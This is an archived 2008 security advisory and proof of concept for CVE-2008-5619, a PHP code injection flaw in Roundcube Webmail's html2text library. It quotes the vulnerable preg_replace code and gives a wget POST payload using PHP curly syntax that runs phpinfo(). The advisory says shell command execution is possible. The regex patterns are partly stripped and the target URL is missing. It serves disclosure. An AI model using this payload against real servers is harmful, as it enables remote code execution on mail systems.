AOH :: HP Unsorted P :: VA2136.HTM

POC for CVE-2008-5619 (roundcubemail PHP arbitrary code injection)
POC for CVE-2008-5619 (roundcubemail PHP arbitrary code injection)
POC for CVE-2008-5619 (roundcubemail PHP arbitrary code injection)

Public Release Date of POC: 2008-12-22
Author: Jacobo Avariento Gimeno (Sofistic)
CVE id: CVE-2008-5619
Bugtraq id: 32799
Severity: Critical
Vulnerability reported by: RealMurphy

Roundcube Webmail is a browser-based IMAP client that uses
" HTML to Plain Text Conversion" library to convert
HTML text to plain text, this library uses the preg_replace PHP
function in an insecure manner.

Vulnerable versions:
Round Cube RoundCube Webmail 0.2-3 beta
Round Cube RoundCube Webmail 0.2-1 alpha (tested)

Analysis of the vulnerable code
The script bin/html2text.php creates an instance of the class html2text
with the given POST data, the problem arises in the file
program/lib/html2text.php in function _convert() on line 381:

        // Run our defined search-and-replace
        $text = preg_replace($this->search, $this->replace, $text);

Some patterns in $this->search allow interpret PHP code using the "e"
flag, i.e.:
'/]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie', // 
'/]*>(.+?)<\/b>/ie',                // 
'/]*>(.+?)<\/th>/ie',              //  and 

In concrete those would be replaced by:
'$this->_build_link_list("\\2", "\\3")', // 
'strtoupper("\\1")',                    // 
"strtoupper(\"\t\t\\1\n\")",            //  and 

Now using PHP complex (curly) syntax we can take advantage of this to
interpret arbitrary PHP code, evaluating PHP code embedded inside

Proof of Concept
As this vulnerability was discovered in-the-wild: was quite sure that would be 
exploitable, using PHP curly we can execute phpinfo():

wget -q --header="Content-Type: ''" \
-O - --post-data='{${phpinfo()}}' \
--no-check-certificate \ 

Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc
to avoid using single or double quotes the arbitrary shell command
execution is fully feasible. As this vulnerability was discovered last
week no more details will be published yet, more info will be available

 Jacobo Avariento Gimeno
 IT Security Department @ Sofistic
 Your security, our concern! 

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH
We do not send spam. If you have received spam bearing an email address, please forward it with full headers to